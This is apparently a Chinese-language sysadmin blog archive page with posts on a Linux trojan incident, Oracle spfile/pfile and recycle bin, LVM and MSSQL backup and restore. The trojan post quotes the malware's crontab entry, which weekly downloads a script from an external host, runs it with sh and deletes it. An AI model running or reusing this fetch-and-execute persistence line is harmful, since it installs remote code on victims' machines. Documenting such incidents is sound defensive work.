廣告聯播

2013年11月20日 星期三

Linux 平台上木馬程式的防範

From: Polin Wei

這幾天Linux伺服器有異常流量,可能被添加了一木馬惡意程式,該程式一運行便對外發起了大量的連接,導致整個內網癱瘓掉,該木馬防護的方式非常簡單,只是在Linux crond計時器裡加入以下任務:

[root@lnx tmp]# crontab -e
###@weekly wget -q http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh >/dev/null 2>&1
###@weekly wget -q http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh >/dev/null 2>&1

2013年11月7日 星期四

Oracle Database Initialization Parameter files : PFILEs vs. SPFILEs

From: Polin Wei

spfile & pfile 差異:
Oracle Database 自從 9i 以後的版本,就開始支援 spfile ,spfile & pfile 差異處如下:
  • pfile  :client 端參數文件,是一個文字檔,不能動態修改,可用 notepad 或 vi 來編輯,DBA 通常是指這個 init.ora 文件;修改之後需要重啟資料庫才會生效。
  • spfile:服務器端參數文件(Server Parameter File),這是一個二進位的檔案,編輯 SPFILE 檔案會破壞它,您將無法啟動您的數據庫,要更改參數值,需用指令:"ALTER SYSTEM SET" 來變更; 有了spfile,資料庫的參數可以線上動態修改,部分參數修改之後無需重啟資料庫就可以直接生效。。

可以用下列指令,得知您的資料庫是用那一種模式起動的。
 SQL> SELECT DECODE(value, NULL, 'PFILE', 'SPFILE') "Init File Type"
       FROM sys.v_$parameter WHERE name = 'spfile';

spfile 的優點:
  • 1. 可以用 RMAN 備份 spfile ( spfile 是 Server Parameter File ), RMAN 無法備份 pfile ( client 端參數文件 )
  • 2. 滅少人為修改參數造成的錯誤,spfile 是儲存在資料庫系統裡,用 "ALTER SYSTEM SET" 來變更時,系統會先作檢查。
  • 3. 只有一個 spfile 參數檔,很容易找到與維護。

從 spfile 獲取 pfile:
Create pfile='d:pfileSID.ora' from spfile;
SQL> Create pfile='C:\oraclexe\app\oracle\admin\XE\pfile\pfileSID.ora' from spfile;


從pfile獲取spfile:
Create spfile from pfile='Your_pfile_location'
Create spfile='spfile_location' from pfile='Your_pfile_location'

動態修改參數:
alter system set parameter=Value scope=spfile | both | memory ( Startup nomount 的時候需要讀去 spfile 或 pfile 或 兩者共存,系統以 spfile 優先 )
SQL> ALTER SYSTEM SET open_cursors=300 SCOPE=SPFILE;

SQL> ALTER SYSTEM SET timed_statistics=TRUE
    COMMENT='Changed by Frank on 1 June 2003'
    SCOPE=BOTH
     SID='*';
The SCOPE parameter can be set to SPFILE, MEMORY or BOTH:
  • - MEMORY: Set for the current instance only. This is the default behaviour if a PFILE was used at STARTUP.
  • - SPFILE: update the SPFILE, the parameter will take effect with next database startup
  • - BOTH: affect the current instance and persist to the SPFILE. This is the default behaviour if an SPFILE was used at STARTUP.
  • The COMMENT parameter (optional) specifies a user remark.
 

2013年11月1日 星期五

Oracle Flashback 10g 的資源回收桶 (recycle bin)

From: Polin Wei
  Oracle 從 9i 開始提供了 Flashback Query 功能,可用於恢復錯誤的 DML 操作。在 Oracle 10g 中對 Flashback Query 做了較大改進,不再局限於 Flashback Query ,還可用於恢復錯誤的 DDL(Drop) 操作。
  Flashback Query  是透過一個新的 Package:DBMS_FLASH 來實現。DBA 可使用 Flashback Query 可以及時取得錯誤操作 DML(Delete、Update、Insert) 在當前某一時間點資料庫的映射視圖,DBA 可以利用系統時間或系統改變號(SCN:System Change Number)來指定這個唯讀視圖,並可以針對錯誤進行相應的恢復措施。
  以下來實作一下整個過程:
1. 可以先用下列 SQL 語法來查詢 recyclebin 是否有被 drop 的 table,此時應該是沒有的。
SQL>select object_name,original_name,operation,type,droptime from recyclebin;
 2. 建立測試的 table : demo_users
create table demo_users (id char(2), name varchar2(10));
insert into demo_users values ('01','David');
insert into demo_users values ('02','Scott');
select * from demo_users;
 可以查詢到有兩筆資料在 demo_users 的資料表( Table )裡。
recyclebin_table_select_ok.png
3. 刪除資料表 demo_users 並在查詢資源回收筒中是否有被刪除的資料表。
SQL>drop table demo_users;
SQL>SELECT object_name,original_name,operation,type,droptime 
FROM recyclebin;
(繼續閱讀...)

2013年10月28日 星期一

LVM (Logical Volume Mamager) on Linux 動態放大檔案系統

From: Polin Wei

繼上章 Oracle Linux Install Using LVM, 我們談到 LVM 的好處在於可以動態放大檔案系統,接下來就來做做看,假設我們安裝 Oracle Linux 時的磁碟配置如下,Volume Group:vg0 有三個 Physical Volume 實體磁區(簡稱PV),依下圖的配置來看,vg0 還有大約 13 G 未分配的磁碟空間。

系統安裝完後,可以用指令 lvscan 來查詢 LVM 實際擁有的空間

也可以使用指令 df -h 來看各個磁碟現在的使用狀況

用指令 vgdisplay 查詢一下 Volume Group:vg0 是否有未分配的磁碟空間

當發生磁碟空間不足,而 vg0 仍有未分配的磁碟空間時,就可以利用指令 lvextend -L 來增大空間,這樣是不是很方便呢!!

Oracle Linux Install Using LVM

From: Polin Wei

LVM (Logical Volume Mamager) 概念
使用 LVM,硬碟中的分割區必須加入『Logical Volume Group 邏輯磁區群組(簡稱 VG)』,這種分割區在 LVM 中稱為『Physical Volume 實體磁區(簡稱PV)』,各位可以把 VG 想成是一個大硬碟,然後再從其中切出一塊空間『Logical Volume 邏輯磁區(簡稱 LV)』對應至系統的檔案系統。

除了/boot 分割區,其餘的檔案系統皆可在 Volume Group 在這顆虛擬的大硬碟中。/boot 分割區不可以在 VG 中,因為開機管理程式將無法讀取到它。假如您想要  /  檔案系統在 VG 中,您必須另外建立一個  /boot 分割區,使其不屬於VG 的一員。

VG 可以分割為幾個 『Logical Volume 邏輯磁區』,將會指定它們的掛載點,例如  /opt  與  /,以及檔案系統類型,如 ext4。當某個檔案系統的容量全滿時,VG 中的剩餘空間可以增加到此檔案系統所對映的邏輯磁區以增大此檔案系統大小。
示意圖如下:

2013年10月24日 星期四

MSSQL Server 2012 Restore 備份還原

From: Polin Wei

MSSQL Server 2012 Restore 備份還原概念:
MSSQL Server 2012 Restore 在還原的過程中,有三個階段 (Phase):
1. Data Copy:建立實體檔案,與回存資料
2. Redo:從 LOG File 回存所有已經確認 ( commit ) 的 Transaction
3. Undo:回覆 ( Roll Back ) 在還原時間點時未確認的 Transaction (交易)
至於 MSSQL Server 2012 Restore 還原概念,大致是以下列 4 個步驟,不過這 4 個步驟應該也是大部份資料庫系統採用的方法,像 Oracle DB 的 RMAN 也是如此。
  • 1. 先嚐試執行 Tail-log 備份
  • 2. 回存最近一次全備份
  • 3. 回存最近一次的差異備份
  • 4. 回存所有備份 LOG Fiile 裡的 Transaction ,再回存第一步驟所備份 tail-log 中的 Transaction

備份還原實作
首先建立一個目錄 C:\backups 作為備份的目錄,接下來的步驟則是模擬資料庫 Northwind 的檔案毁損時,資料庫重建的完整過程
--1.建立備份裝置 mybackup(backup device)
指令:
EXEC master.dbo.sp_addumpdevice  @devtype = N'disk', @logicalname = N'mybackup', @physicalname = N'C:\backups\mybackup.bak'

2013年10月16日 星期三

MSSQL Server 2012 Backup 備份

From: Polin Wei

MSSQL Server 2012 Transaction Concept 概念:
MSSQL Server 2012 在資料寫的的運作上,是秉持著 WAL(Write Ahead Logging) 的機制,Transaction 存取磁碟的作業,主要是依照下列 4 個步驟來作業:
  1. 將 Transaction 寫入 LOG File
  2. 將 Transaction 的異動修改 Buffer (記憶體) 裡的資料
  3. 交易完成 Transaction Commit
  4. 將 Buffer (記憶體) 裡的資料寫入 Disk ( Data Files )裡

Recovery Model:
在說明 MSSQL Server 2012 的備份模式前,要先瞭解它的 Recovery Model,MSSQL Server 2012 的 Recovery Model 有三種模式:

  1. Simple:當 Transaction Commit 交易確認後,此 Transaction Log 就會從 LOG File 中清除(Truncate),所以 LOG File 並不會長大,LOG File 的檔案大小永遠保持最小。
  2.   Full:所有的 Transaction 交易都會保留在 LOG File 中,所以 LOG File 會一直長大,除了作備份作業後,LOG File 裡的 Transaction 內容才會被清除(Truncate),當然 LOG File 檔案要縮小,還得手動執行 Shrink Log 才行
  3.  Bulk Logged:當有 Bulk Insert 的 SQL 語法時,這些 批次 的 Transaction 不會記錄在 LOG File 中。

WordPress 架站必備外掛